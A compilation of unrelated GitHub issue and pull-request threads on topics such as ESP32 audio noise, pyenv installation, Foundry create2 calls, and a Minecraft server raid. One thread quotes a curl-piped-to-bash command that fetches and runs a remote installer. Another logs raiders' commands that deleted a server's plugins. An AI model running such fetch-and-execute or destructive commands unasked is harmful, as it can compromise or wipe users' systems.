Why will this happen and why there are so much noise? I have tried to add a low pass filter between ESP32 board and speaker, but can't get improve. Can someone explain to me and help me to decrease the noise? Many thanks.

@mingshima The internal DAC has only 8 bit width, so there is noise.

For anyone else who comes across this, please see my comment:
https://github.com/espressif/esp-idf/issues/1614#issuecomment-432858740


Does it need external keyboard?

question: does this keylogger.need.to be installed between the keyboard and the computer (like with an external keyboard)?
if I plug it to a laptop, will it work when using the laptop.keyboard itself?

question: does this keylogger.need.to be installed between the keyboard and the computer (like with an external keyboard)?
if I plug it to a laptop, will it work when using the laptop.keyboard itself?

Hello!
You need to connect this between an external keyboard and the computer/laptop


Pipeline should remove ELB and VPC in case of EKS

Sometimes, pipeline still misses to delete ELB and the corresponding VPC. This should be fixed, because we are leaving zombie resources in the Amazon.

https://us-west-2.console.aws.amazon.com/cloudformation/home?region=us-west-2#/stack/detail?stackId=arn:aws:cloudformation:us-west-2:161831738826:stack%2Fekscluster-sagikazarmark-459-pipeline-eks%2Fdf81da90-ddf7-11e8-9d98-500c32c86c29


Document short_description in Space config reference

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update.


Improve styling of profile avatar alt texts

I love the alt text feature, but what regularly bothers me is the slightly distorted (oval) display of user avatars:

I think it would look a lot nicer to style avatar alt text something like this:

Thoughts on this?
I'd be happy to attach a PR.

We'd be happy to merge a PR fixing this.


Is it possible to render a-model using aframe-react?

I see there is a-model tag in the original a-frame.
a-model uses '.dae' data format.
Is it possible to render a-model using aframe-react?

aframe-react doesn't expose the aframe primitives but those are all merely entities witha combination of components
to load a model, you can use a loader component and you'll likely want rotation, position and scale components:
<Entity loader={{src: 'url(models/my_model.dae)', format: 'collada'}}
              scale="1 1 1"
              rotation="0 180 0"
              position="0 0 0">
</Entity>

If you are requiring aframe in your project, <a-model> should be there and usable within or as a React component.


Enter Key is missing

Based on what I've seen from your Key.cs and from the Virtual Key Codes list of MS Docs, it seems like the Enter key is missing.
I don't see the name, neither the the actual Windows Virtual Key Code which ix 0x0D anywhere.

See PR #10

Done! Thank you for the contibution


Implement MySQL 5.6 and 5.7 support

I imagine this is much easier said than done, but I'm sure everyone in the community could benefit from this.

 MySQL 5.7 might be technically feasible though that is not something we're actively looking into.


Add SubWallet to the list of Wallets in the Polkadot ecosystem

I'm requesting the addition of SubWallet to the Wallet list. Below is some information about SubWallet:

The most comprehensive wallet with a consistent UI and UX available on 3 platforms: browser extension, mobile app, and web dashboard.
The most highly adopted wallet, with 1.6M+ downloads and 800K+ active users and devices.
The most comprehensive earning solution that integrates direct nomination, nomination pools, parachain staking, and liquid staking.
In-app swap that integrates providers including Chainflip, Hydration, Asset Hub Swap

Let me know what other info you need.
Cheers,

Hi @djhatrang.
I appreciate your pull request, and also the SubWallet team.
As noted in my document, the list is not meant to be exhaustive, but instead represent the tools I use.
I currently use Nova wallet, and have not tried SubWallet, so that is the product I would like to represent here.
I strongly encourage you to recommend that people in your community also create their own awesome-polkadot repo, with the tools and wallets they use, and then you can get SubWallet correctly represented.
I hope you understand, thanks!


Try a slightly longer handshake timeout

Motivation
The large testnet acceptance tests are failing, because sometimes Zebra only gets 1-3 good peers on testnet.
Solution
Increase the timeout to allow slightly slower peers to connect.
Review
We need to test this change before it gets reviewed.
Related Issues
#1877 Restore large testnet tests
Follow Up Work
We could also:

increase the testnet acceptance test timeouts
decrease the number of blocks we sync on testnet
deploy more testnet peers
make the security fixes that will improve DNS seeder accuracy, and re-deploy the foundation DNS seeders
just disable the test and leave it disabled

Ah boo, still a transient failure

I ran the zebrad acceptance tests --including-ignored with this PR, in a loop on my local machine, until one of the tests failed.
For the first few test runs, I got:
0 successes before a failure due to a block download timeout (from a slow peer)
13 successes before a failure due to DNS seeders providing bad peers (0 good peers)
1 success before a failure due to DNS seeders providing bad peers (3 good peers)

That's about a 20% failure rate, compared to 7% before this change:
https://github.com/ZcashFoundation/zebra/pull/1877#issuecomment-796184477
So this change isn't going to help, let's try the fixes and DNS seeder redeployment. See #1791 for details.


pyenv.run Connection Refused, direct link works

I just wanted to report that I repeatedly get Connection Refused for pyenv.run.
Going into this repo and reading that it's equivalent to:
curl -L https://github.com/pyenv/pyenv-installer/raw/master/bin/pyenv-installer | bash

saved the day, as it works 100% reliably.
I recommend removing that wrapper and using the direct link both here and in the pyenv repo. It saves a few characters but introduces random downtimes.

@hyperknot Thanks for reporting. Do you have a date/time when this occurred? The server is not overloaded, and there are enough connections so it shouldn't be refusing connections.

Right now. I'm quite sure it's some rate limit or similar, but I only had 2 trials:

First I tried on a clean Ubuntu and it said that git is required
So I installed git and re-run the command in like 30 seconds. That 30 seconds seems to have triggered a full IP ban for me.

No, it was a local virtual machine where I was testing, and I only run the command 2-3 times, not more.


Expose Route properties

Is there a way to get route parameters apart from Name, Path and Handler?

1.0 gives you the whole route, even with your own custom props.


Unable to load VS Solution | Failing to launch

Tried to download the solution. but its keeping failing while Unzip and launch with VS2019.
Below is error message:-

I am also facing same issue any idea how we can resolve ?


chore: added negative generator test

I added a few tests on the generator in case something goes wrong. We expect in such a case that the process ends with exit code != 0. This translates to exexa throwing an exception which is tested now in a nightly test, because the tests have some IO part.
The only issue I had, was that the winston logger does not properly show the stack trace in the logs. Console error does it. I also realize that the log statements have the right tag e.g. ERROR but they are all in the stdout of execa. I do not know if this is a problem, but the stack should be there.
@marikaner perhaps you can comment on the logger issue.
I found an issue in our backlog tackling the stack logging issue.

@reviewers I have accidentally stated this PR not from main. Wait until https://github.com/SAP/cloud-sdk-js/pull/974 is merged with your review.

This is ready for review now.


Authorization: Remove usage of roles in the front-end #2205

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@Fonsu Link this PR to the corresponding issue

Still not linked to the issue, have you installed the ZenHub Chrome plugin?

Just linked it to the issue #2205

@Fonsu Put back the issue in the right pipeline (To Be Reviewed) when you will have finished.
Thanks.


Fix formatting issues

A text file is a file where each line is terminated by a newline character. This includes the last line. Most modern tools can handle a missing trailing newline, but not all tools can. This is why tools such as git explicitly mark a missing newline.

Look great, thanks!


Counting Cards bug

Hi, I've done everything correctly, getting correct answer but still task doesn't completes. Help me please. Code:
`

var count = 0;
function cc(card) {
// Only change code below this line
switch (card){
case 2:
case 3:
case 4:
case 5:
case 6:
count = ++count;
}
switch (card){
case 7:
case 8:
case 9:
  count = count;
   }

switch (card){
case 10:
case "J":
case "Q":
case "K":
case "A":
  count = --count;

}
if (count>0){
return """ + count +" Bet"";
}
else {
return """ + count + " Hold"";
}
// Only change code above this line
}
// Add/remove calls to test your function.
// Note: Only the last will display
cc(10); cc("J"); cc("Q"); cc("K"); cc("A");

`

Hi @EvaldasMilkintas! Please refer to #14997 for explanation and solution.

@EvaldasMilkintas the extra double quotes shouldn't be part of the string. They are there just to point out that the output is a string. Remove those explicit double quotes and your code should pass. Happy coding!


UNBC Input Format

What is the expected format of the Raw Data folder? Is it something like the following (naming conventions and folder organization as per the UNBC database folders)?
Raw Data
- Images
-- 042-ll042
--- ll042t1aaaff
---- ll042t1aaaff001.png
- PSPI (i.e., pain labels)
-- 042-ll042
--- ll042t1aaaff
---- ll042t1aaaff001_facs.txt

Because I can't seem to run the augmentation code.

The code works for me when the Raw Data folder contains images that follow the naming convention below:
43_0_0_0_2.jpg
where the numbers refer to [person, session, culture, frame, pain_level]


xxd: Improve colored output

Support colored output on Windows.
SetConsoleMode() is required to enable ANSI color sequences.
Support "NO_COLOR" environment variable.
If "NO_COLOR" is defined and not empty, colored output should be disabled.
See https://no-color.org/
"-R" should only accept "always", "never" or "auto" as the parameter.
Allow omitting space after "-R".
Adjust help and documentation.
"-R" cannot omit the parameter. Remove surrounding brackets.

Related #12131

Man page of xxd says:
   Note  that  a  "lazy" parser is used which does not check for more than
   the first option letter, unless the option is followed by a  parameter.
   Spaces  between  a single option letter and its parameter are optional.
   Parameters to options can be specified in decimal, hexadecimal or octal
   notation.  Thus -c8, -c 8, -c 010 and -cols 8 are all equivalent.

which does not check for more than the first option letter,

This doesn't say about the parameters.
Personally, I think that "-R" should only accept "always", "never" or "auto" as the parameter.


Raw query support

It's a great package, but it seems it can't be used with raw queries, is there any way to use it with raw queries, I think this is a necessity when doing pagination?

Are you talking about raw sql queries? I'm not sure how to implement this reliably so it doesn't break complex queries. How do you expect it should work?

I'm not sure about the API design, I hope using $queryRaw it can also be paginated 🙏

We've been discussing this today in our office, if we could provide 2 queries to an API, one for calculating the total count and one for the actual pagination. The latter would need to take params for the current page/cursor.


Cannot install Redis Docker image via Kitematic on Windows 10

Expected behavior
Successfully download and install Redis Docker image via Kitematic on Windows 10
Actual behavior
Error message:

Information about the Issue
Running the latest version of Docker and Kitematic on Windows 10
Steps to reproduce the behavior

Click on the the Create button for Redis:

I thought I had the latest version of Kitematic but no way to tell from the Kitematic UI (hint!).
So I installed the current v0.17.7 version and the problem went away.


User agent pasthrough

Hi
We have an issue whereby google mobile tester detects our site as not mobile friendly because pre-render always renders the desktop version.
Is there a way to get prerender to pass through the originally requested useragent to phantom?
Regards

We have the ability to support adaptive sites (by passing through the user agent and saving the URLs separately) on our hosted service at Prerender.io. That's not really a feature of the Prerender server since there's more that goes into solving that problem. Email me at<EMAIL_ADDRESS>and I'm happy to turn that on for you if you are using an adaptive site.
If you aren't using an adaptive site, but are using responsive css, then there might be a different issue.


adding buy options block

Please always provide the GitHub issue(s) your PR is for, as well as test URLs where your change can be observed (before and after):
Fix #61
Test URLs:

Before: https://main--fonterra-fernleaf--hlxsites.hlx.page/en/products/uht-milk
After: https://61-buy-options--fonterra-fernleaf--hlxsites.hlx.live/en/products/uht-milk

@mkbansal1 As discussed, we can reuse existing fetchplaceholders() from lib-franklin.js and pass getLanguage() as argument.
An example: https://github.com/hlxsites/fonterra-fernleaf/blob/main/scripts/modals/languages.js#L66

@mkbansal1 As discussed, we can reuse existing fetchplaceholders() from lib-franklin.js and pass getLanguage() as argument. An example: https://github.com/hlxsites/fonterra-fernleaf/blob/main/scripts/modals/languages.js#L66

Agree, i have reverted my logic


Adding Meroka Transformer

Meroka Managed Security: Enjoy all the benefits that AI and LLM based platforms have to offer, while maintaining a high standard for your privacy and compliance needs
Meroka allows LLM based software vendors to allow their users to have fine grain control over their data, and gain visibility and insight

hi @hwchase17 I've added the pip dependencies to poetry, and under extended-testing as well. However it seems like they're still not getting installed. I tried to re-lock poetry to see if that helps, but no dice.
I also need to run a couple of spacy commands before my tests are run, also need help with that as well.
Thanks in advance!

Thanks @hwchase17 for pointing me to the right place. It's all passing now, and ready to be merged. Let me know if you need anything else :)


resolve failing charmhub publishing

Charmhub is failing to publish since tox.ini no longer has the integration workflow, see here

proposed solution: #68


interface.dd: Improve first section

Identify implementation defined interfaces.
remove unnecessary words

Looks like these same changes are also in #2962.

I goofed. Review the other one.


Bash mode: add support for ${f##*/} etc. so it doesn't break highlighting

currently it moves into a comment, which e.g. for one liners
cd 265_Videos
for f in ../*.mov; do o=${f##*/}; ffmpeg -i $f -c:v libx265 -crf 25 -tag:v hvc1 ${o%.*}.h265.mp4; done

breaks the whole highlighting after, as the done is considered to be in a comment. Also is bad when embedded in e.g. Markdown which currently doesn't have an escape hatch for ``` and breaks the whole file.

Fixed in 17be457a39e730c49c59993c6f0d02731129e1f2


confusing app title

The generator I guess can only be used from the command line and there is no button to generate an app from the gui.  I was expecting this to generate a simple app like a hello world, but it only has options to open other generated apps like a notepad and it says
"This application was generated by the Solid React SDK by inrupt."
Asking for a lot I guess, but it would be nice to generate it with the gui and put the result in my pod or make it possible to cut and paste it to github

Hello! The generator is a command-line tool, that's right. It uses a commonly used application scaffolding tool called yeoman. That's actually where the name generator comes from.
If you run the tool, you're given the option of a full app (with the text editor, tic tac toe game, and form examples) or a lite app. The lite app is probably as close to a hello world as you can get for a full application - it is just one page, the Welcome page, with a single example of fetching the name and profile image updating.
The generator also includes all the packages, libraries, and the inrupt style guide, to make app development quicker.
If you want to run the generator, you can follow the instructions in the readme to install yeoman and the generator, and run the command line app.


Drowziness Detection [GSSOC'23]

💥 Proposal
Will be implementing Drowsiness Detection using YOLO. Making detections and checking the real time performance

@Mochoye  - you can go ahead! We are assigning you 21 days for this project, after which it will be assigned to someone else if not completed. All the best!
Name the file as: algorithm_dataset.ipynb and link it in the readme of the labeled directory as algorithm - dataset.


Create2 revert, if done via SystemContractsCaller.systemCallWithReturndata

Component
Other (please describe)
Have you ensured that all of these are up to date?

[X] Foundry
[X] Foundryup

What version of Foundry are you on?
forge 0.0.2 (eda9078 2024-05-03T00:24:49.741164000Z)
What command(s) is the bug in?
forge test --is-system true --zksync
Operating System
macOS (Apple Silicon)
Describe the bug
When I try to execute low level system call to deployer system contract to execute create2 --- execution reverts:
contract TestDeploy is Test {

    function test_Deploy() public {
        address deployerWallet = makeAddr("deployer");
        vm.prank(deployerWallet);
        Auxiliary aux = new Auxiliary();
        aux.deploy(beaconProxyBytecodeHash, salt);

    }
}

deploy function (should be executed in zkEVM as external call):
contract Auxiliary{
    function deploy(bytes32 l2TokenProxyBytecodeHash,bytes32 salt) public {
        (bool success, bytes memory returndata) = SystemContractsCaller.systemCallWithReturndata(
            uint32(gasleft()),
            DEPLOYER_SYSTEM_CONTRACT,
            0,
            abi.encodeCall(
                IContractDeployer.create2,
                (salt, l2TokenProxyBytecodeHash, abi.encode(address(0), ""))
            )
        );
        if(!success) {
            assembly {
                returndatacopy(0,0,returndatasize())
                revert(0, returndatasize())
            }
        }
    }

Forge output:
Failing tests:
    Encountered 1 failing test in test/foundry/TestDeploy.t.sol:TestDeploy
    [FAIL. Reason: EvmError: Revert] test_Deploy() (gas: 37420)

foundry.toml:
[profile.default]
src = 'contracts'
out = 'out'
libs = ['node_modules', 'lib']
test = 'test/foundry'
cache_path  = 'cache_forge'
[profile.zksync]
src = 'contracts'
libs = ['lib']
fallback_oz = true
test = 'test/foundry'
is_system = true
mode = "3"

@vladenysiuk I managed to create a working example that performs a create2 call via SystemContractsCaller.systemCallWithReturndata successfully. This test passes for me:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {SystemContractsCaller} from "era-contracts/system-contracts/contracts-preprocessed/libraries/SystemContractsCaller.sol";
import {IContractDeployer} from "era-contracts/system-contracts/contracts-preprocessed/interfaces/IContractDeployer.sol";
import {Test, console} from "forge-std/Test.sol";
import {Counter} from "src/Counter.sol";

address constant DEPLOYER_SYSTEM_CONTRACT = 0x0000000000000000000000000000000000008006;

contract TestDeploy is Test {
    function test_Deploy() public {
        string memory artifact = vm.readFile("zkout/Counter.sol/Counter.json");
        bytes32 bytecodeHash = vm.parseJsonBytes32(artifact, ".hash");
        bytes32 salt = "1234";

        Auxiliary aux = new Auxiliary();
        address add = aux.deploy(bytecodeHash, salt);

        Counter counter = Counter(add);
        counter.setNumber(42);
        counter.increment();
        assert(counter.number() == 43);
    }
}

contract Auxiliary {
    function deploy(
        bytes32 bytecodeHash,
        bytes32 salt
    ) public returns (address) {
        bytes memory bytecode = type(Counter).creationCode;

        IContractDeployer deployer = IContractDeployer(
            DEPLOYER_SYSTEM_CONTRACT
        );

        address expected = deployer.getNewAddressCreate2(
            address(this),
            bytecodeHash,
            salt,
            abi.encode(address(0), "")
        );

        (bool success, bytes memory returndata) = SystemContractsCaller
            .systemCallWithReturndata(
                uint32(gasleft()),
                DEPLOYER_SYSTEM_CONTRACT,
                0,
                abi.encodeCall(
                    IContractDeployer.create2,
                    (salt, bytecodeHash, abi.encode(address(0), ""))
                )
            );

        if (!success) {
            assembly {
                returndatacopy(0, 0, returndatasize())
                revert(0, returndatasize())
            }
        }
        address ret = abi.decode(returndata, (address));
        assert(ret == expected);
        return ret;
    }
}

Could you try if it works for you on our latest release? If it doesn't there is some context missing for the example you provided:

To set zksync specific options in foundry.toml you should use [profile.default.zksync] rather than [profile.zksync]
is_system should be enable_eravm_extensions if passed on foundry.toml or --zk-enable-eravm-extensions if passed through the cli
How do you get beaconProxyBytecodeHash? computing the hash outside at the raw test level will yield the evm bytecode. In the example I am reading it from the json artifact. Also how do you specify the salt?
Bytecode for the given bytecode hash needs to be known by the compiler when the create2 two call is being made. See this

This has been resolved. For min reproduction you can view this example: https://github.com/dutterbutter/min-zksync-create2


iOS startup failure

I met a very strange problem. I used VSCode to do real iPhone debugging. I keep running errors. But I have no problem running it in Xcode.
My system is MACOS Ventuna and the flutter SDK version is 2.5.3, as shown in the figure below
Xcode build done.                                           73.0s
Failed to build iOS app
Error output from Xcode build:
↳
    --- xcodebuild: WARNING: Using the first of multiple matching destinations:
    { platform:iOS, id:dvtdevice-DVTiPhonePlaceholder-iphoneos:placeholder, name:Any iOS Device }
    { platform:iOS, id:xx, name:iPhone, error:Device is busy (Fetching debug symbols for iPhone, Making iPhone ready for development) }
    { platform:macOS, arch:arm64, variant:Designed for [iPad,iPhone], id:xx }
    { platform:iOS Simulator, id:dvtdevice-DVTiOSDeviceSimulatorPlaceholder-iphonesimulator:placeholder, name:Any iOS Simulator Device }
    { platform:iOS Simulator, id:xx, OS:16.2, name:iPhone 14 }
    { platform:iOS Simulator, id:xx, OS:16.2, name:iPhone 14 Plus }
    { platform:iOS Simulator, id:xx, OS:16.2, name:iPhone 14 Pro }
    { platform:iOS Simulator, id:xx, OS:16.2, name:iPhone 14 Pro Max }
    { platform:iOS Simulator, id:xx, OS:16.2, name:iPhone SE (3rd generation) }
    { platform:iOS Simulator, id:xx, OS:16.2, name:iPad (10th generation) }
    { platform:iOS Simulator, id:xx OS:16.2, name:iPad Air (5th generation) }
    { platform:iOS Simulator, id:xx, OS:16.2, name:iPad Pro (11-inch) (4th generation) }
    { platform:iOS Simulator, id:xx, OS:16.2, name:iPad Pro (12.9-inch) (6th generation) }
    { platform:iOS Simulator, id:xx, OS:16.2, name:iPad mini (6th generation) }
    ** BUILD FAILED **
Xcode's output:
↳
    /path/plugins/waveform/ios/Classes/SwiftWaveformPlugin.swift:100:29: warning: string interpolation produces a debug description for an optional value; did you mean to make this explicit?

I tried this
flutter clean,flutter pub get,pod install

also, i have met this:
FormatException: Missing extension byte (at offset 74)

anyone help me 😭😭😭😭😭😭😭😭😭

Hi @yangthree, flutter 2.5.3 is an old version of flutter for which support is no longer provided.
Kindly upgrade to the latest version of flutter stable (3.3.10) and do make sure that all your project dependencies and try again to see if you still experience the issue.
If you do, please provide the update output of flutter doctor -v along with the following information

Your pubspec.yaml & pubspec.lock
Your Podfile & Podfile.lock
The output of flutter run -v (the output may be huge, so kindly put it into a .txt or .log file and attach it here)

Thank you

Thank you for your reply! But the company is not allowed to upgrade the flutter SDK.

Please provide the following information

Your pubspec.yaml & pubspec.lock
Your Podfile & Podfile.lock
The output of flutter run -v (the output may be huge, so kindly put it into a .txt or .log file and attach it here)

Thank you

I finally solved it! It's me. I ran the wrong folder.


4#: Design a Grid system

Investigate the best way to implement a grid system

Base component has been made but fine tuning is needed.


ci: github: bump SDK usage to 0.13.0

Now that SDK 0.13.0 is out, bump all github workflows to utilize it.
Signed-off-by: Kumar Gala<EMAIL_ADDRESS>

@galak  we also need update to the docs.

@galak we also need update to the docs.

just sent a PR for that :)


Tools for anomaly detection

It would be good if we provided tools for highlighting or selecting anomalous values or other outliers, e.g. by making annotations on top of a datashaded plot.  Of course, this will require definitions of anomalous and outlier, e.g. in the form of a statistical model, and thus it will be fairly closely dependent on particular datasets.  Thus it's unlikely that we could solve this problem in general, but we could provide a framework that makes it easier to solve the problem in particular cases.  Alternatively, we may end up simply making some example notebooks showing how to highlight particular sorts of anomalies in specific cases, and leave the rest to the user to define and implement.

As an example of something from real-life: a collection (up to 1000) of csv files of size (700 mb ~ 15M lines) have to be visualized (all at once - to get meaningful ideas about outliers) and analyzed/processed for those outliers to be excluded. After few iterations the resulted aggregated dataset will be stored in the file(s).
@jbednar - do you have any notebooks which might give me some starting points on any of the topics above?
I personally interested in visualizing using datashader but for the data being distributed across the nodes (using ipyparallel, dask or anything else).
Please advise.
Thanks in Advance!

@thoth291, I'd recommend using dask as illustrated in the osm.ipynb example, extending it to use dask.distributed as well.  That way you should be able to use distributed data very cleanly.
I don't have any notebooks on these topics that I can provide.  We haven't yet implemented tools for going backwards from a selection on a Bokeh plot to isolating a set of bins in the aggregate array to formulating a query on the original dataset, and it's likely to be some time before we can do this.  If we had that, then identifying and removing outliers would be much simpler.  In the meantime, you can use hover information to try to see which of the curves or points need to be removed, and then remove those separately.  Whatever approach you take, we'd be happy to see what you come up with!

Thanks @jbednar . That was my initial plan. I'll use dask to read the data. Then I'll try to use some of these pydaal examples: https://software.intel.com/en-us/node/682267, https://software.intel.com/en-us/node/682266 or this https://software.intel.com/en-us/node/682265.
Many more hours of work are left till I'll get it done though...

The latest HoloViews 1.7.0 includes support for timeseries operations, including outlier detection, as illustrated at https://anaconda.org/jbednar/holoviews_datashader:


Add specific reasons to undelegable rights-Chips

Description
When you can't delegate all rights there will be a reason to why the right can't be delegated. This task is about fixing this.
Task

Create functionality to handle when there's more than one unique reason for all the undelegable rights on the service
Make code create 1 alert for each specific reason with the corresponding rights.

Additional Information
No response

Already have a task for this that has been made PR for


A UI node size of zero shouldn't be used as a proxy to indicate that a node has Display::None set

What problem does this solve or what need does it fill?
When a UI node is set to Display::None, the node is meant to be ignored and the UI is meant to behave as though it doesn't exist in the layout. To signal this at the moment we set the size field of its Node component to zero and add an empty clipping rect.
This isn't quite sufficient though. For instance with outlines, even a zero sized node can have an outline drawn around it.
What solution would you like?
Adding a bool field to Node called ignore and setting it to true where Display::None is applied would be enough for now.

I see #15163 might have fixed this issue for outlines... do we still need this? Seems like (in my bevy_ui-uneducated eyes) the correct solution would be to also query for Style whenever we're deciding to render the Node.

It isn't fixed for Outlines I just realised there is still a bug here writing this reply. The Display::None property is just for individual nodes and isn't propagated down the UI hierarchy. So if you have a node with Display::None set that has a child with an outline, the outline will still be rendered.
There are also performance problems. All UI nodes are added to UI stack even if they are have Display::None set or are a descendent of a node with it. Display::None nodes and their children should be (as far as possible) inactive and should be zero performance cost.
I also would like to move away from querying for Style in extraction so that in the future the UI renderer could support custom layout plugins better. You can do this atm but you have to write your own custom extraction functions which is quite involved and very difficult to maintain between bevy versions.


Add packet AuthTag RLP and minimal RandomPacket size validation

PR Description

verify authTag RLP contains expected data: a single 12 bytes string
verify that RandomPacket meets the minimum size requirement
refactor RandomPacket and MessagePacket as they have the same tag+authTag header: extracted common TaggedMessage class
add RandomPacketTest
Fix the gradle IDEA bug (see for details here: https://github.com/PegaSysEng/teku/pull/1091)

Fixed Issue(s)
Fix https://github.com/PegaSysEng/teku/issues/2648
Relates https://github.com/web3j/web3j/issues/1252

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

The other issue this PR addresses is how the Discovery service will reply to undersized RANDOM PACKETS. It turns out that this requires a Discv5 spec change. See @fjl comments in lighthouse and prysm repos.

@jrhea  Right with the current spec there is no much sense to set the lower limit of the RandomPacket (you may always send a legit Ping instead which is smaller than RandomPacket)
I'd suggest to merge this PR and address the issue separately as soon as the spec changes are ready

I'd suggest to merge this PR and address the issue separately as soon as the spec changes are ready

I agree.  LGTM.  I would hold off on merging until @ajsutton can review


#358 | change 'no information' to 'needs information'

@timlinux

Needs conflicts resolved then we can merge


unable to install extensions

🔍 Is there already an issue for your problem?

[X] I have checked older issues, open and closed

ℹ Environment / Computer Info
- Spotify version: <IP_ADDRESS>3-1
- Spicetify version: 2.17.2-1 (installed via package manager, however `spicetify -v` command shows `Dev`)
- OS: Arch linux (garuda) (I noticed the same issue on windows too)

📝 Description

install spotify as recommended
give spicetify permissions for required directories
install spicetify using arch package manager
install themes and snippets from spicetify marketplace: works as expected
install extensions:
expected: install extension after clicking on install and reload now buttons.
result: extension is not installed
however manually installing one extension at a time from command line works as expected.

📸 Screenshots
No response

Not related to cli. Please take a look on our discord server for potential resolve of your issue


What files are touched by home-manager?

Using home-manager is not possible for me currently, because it is not clear to me what is going to happen when I enable it. I have an existing .bashrc, .bash_profile, .profile and similar for zsh.
I do not want these files to be overwritten, but if I know which ones are being used by home-manager, I could consider porting them.
Please document what the tool does more precisely.

As documented in the README.md, it should be save to activate even with existing dotfiles.
When configuring your userspace with home-manager, the configurations will be added to the nix-store and symlinked into your ~.
By the way, if you worry about your dotfiles, I'd recommend doing a backup - this is unrelated to home-manager, but a backup might save you from other harm than a configuration mistake, too.

@memberbetty Yes, as @Amarandus said. Home Manager shouldn't overwrite an existing file, if it detects one then it will stop the switch before changing anything in the home directory.
If you manually want to check the files generated by Home Manager before switching then you can run home-manager build instead of home-manager switch. This will generate a symlink called result in the current directory, this links to the generated Home Manager generation. Run
$ find result/home-files/

to see all files that will be linked into your home directory.

Please consider creating a link from the installation section to the "Keeping your ~ safe from harm" section.

I'd suggest simply reading all of the README.. There is a usage section which is quite relevant as well, and would let you know what files would be touched intuitively. The Keeping your ~ safe from harm section simply mentions that home-manager will not override files unless it is already managed by home-manager.

I'm inclined to leave the readme as is. If the wording can be made clearer then I'd be happy to accept a PR.


Java indexer: don't duplicate method wildcards [phab:D1801]

Created by schroederc at 2017-07-25 20:45:09:

zarko accepted this revision at 2017-07-25 20:50:26

schroederc closed via commit 774df6b8a1312e323ef86d637f48a44fe70a08d5 at 2017-07-25 21:32:04


Prevent anti plugin deletion

We just got server raided, people got somehow into our rcon op'ed themselves and boom they deleted everything they could. Mvcore assisted them:
[00:08:48] [Server thread/INFO]: Petras issued server command: /mv import plugins normal
[00:09:03] [Server thread/INFO]: Petras issued server command: /mv delete plugins

if you can please help others and prevent of such things

This was implemented long ago... what version of MV were you using?

My mistake, it was not long ago. See #1917.


cloud.redhat.com hostname mentioned inrepository insights-content-service in file docs/architecture/architectures.svg

cloud.redhat.com hostname mentioned inrepository insights-content-service in file docs/architecture/architectures.svg

This is correct usage as Kafka broker won't be moved.


Upgrade Apache Commons Collections to v3.2.2

Version 3.2.1 has a CVSS 10.0 vulnerability. That is the worst kind of
vulnerability that exists. By merely existing on the classpath, this
library causes the Java serialization parser for the entire JVM process
to go from being a state machine to a turing machine. A turing machine
with an exec() function!
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8103
https://commons.apache.org/proper/commons-collections/security-reports.html
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

Hello Glenn,
IPF development has been moved to https://github.com/oehf/ipf a few years ago.
Of course, we have opportunely upgraded Apache commons-collections there.
Thank you very much and best regards
Dmytro


With a huge nested tuple in scope, all expressions take 30 seconds to complete

After defining a sequence of functions like:
nest = (,,,,,,,,)
n0 = nest
n1 = nest n0 n0 n0 n0 n0 n0 n0 n0 n0 -- sorry, I didn't find a way
n2 = nest n1 n1 n1 n1 n1 n1 n1 n1 n1 -- how to do it via recursion
n3 = nest n2 n2 n2 n2 n2 n2 n2 n2 n2 -- or by spreading a list
n4 = nest n3 n3 n3 n3 n3 n3 n3 n3 n3
n5 = nest n4 n4 n4 n4 n4 n4 n4 n4 n4

all following expressions take a long time (20-60 seconds) to complete:
> 42
-- nothing happens for 20 s, then REPL prints
42 : number

[Elm 0.18 / ubuntu]

While using the REPL, each expression is recorded and replayed whenever a new expression is entered, the final value being the one that is printed out. This allows doing stuff like
> import MyModule exposing (foo)
> foo "bar"
-- notice a bug, go fix it in code
> foo "bar"
-- ahh, all good.

Since a huge nested expression like the one you typed takes some time to compile and evaluate, every subsequent expression also needs to spend that time.
Note that you can reset the environment (hence clearing out the recorded history) using :reset.

Well, that explains the apparent behaviour, and while I understand the "hot-fix propagation" reasoning behind that, it still seems to deviate from the "least surprise" approach, i.e. what is reasonably expected for a REPL. Indeed, I'd rather issue a (hypothetical) :replay command explicitly, while having the runtime context be kept in memory all along by default instead. But that's of course a highly subjective POV.


Don't add to the queue in snapshot.Run for the SnapshotOperationProcessChunk, we already added to the channel GetSnapshot

Current dependencies on/for this PR:

main

PR #890   👈

This stack of pull requests is managed by Graphite.

Offline approval from @diamondhands0


Add data_source_examples subdir and README.md

This new folder will include data source specific examples

Discussed in internal Slack channel


Ouibounce version on cdnjs is outdated

The last release on cdnjs is 0.0.11 but last release on Github is 0.0.12
https://cdnjs.com/libraries/ouibounce

@carlsednaoui up ?
Do you plan to release 0.0.12 on cdnjs ?
Thanks

I do. It's supposed to be automatic. I haven't had a chance to look into
why it's not updating... sorry :(

Ok, good to know and thanks for your reply :)
Great tool btw :+1:

Just a heads up that cdnjs is still serving up the previous version.

Updated! https://cdnjs.com/libraries/ouibounce


kmz7_data_collection_table.pb.txt to collect control data

Hi, I'm collecting control data for vehicle control calibration.
When I'm doing it on dreamview, the progress is not working well. So I took a look at the mkz7_data_collection_table.pb.txt file to check each criteria.
There are two parameters that I'm curious about:
1.frame_threshold: 20
2.total_frames: 6000
When I changed them to 1 and 5. the progress of each criterion was working well like the following.

My first question is:
why total_frames is high value? Is total_frames 6000 enough to get the reliable data set? Should I stick it to 6000?
My second question is:
What is frame_threshold parameter? I assumed that this is consecutive data set met by criterion. For instance, if frame_threshold is 20, 19 data set is met by criterion and 1 data set is not, then this 20 data set is not added to total_frames. Is my assumption right? Also should I stick frame_threshold variable to 20 to get reliable data?
Best
Taehyung Kim

If the localization frame rate is 100 frame/sec, than 6000 frames is total frames collected within 1-minute. You can modify the number based on your need.
Yes. In our case, we need at least 20 consecutive data frame for model training. You may also modify this number if your model training doesn't have this requirement.

Closing this issue as it appears to be resolved. Feel free to reopen if you have additional questions.


Add block highlights to the usual highlights

I have checked that this feature is not already implemented

[x] This feature does not exist

Use case
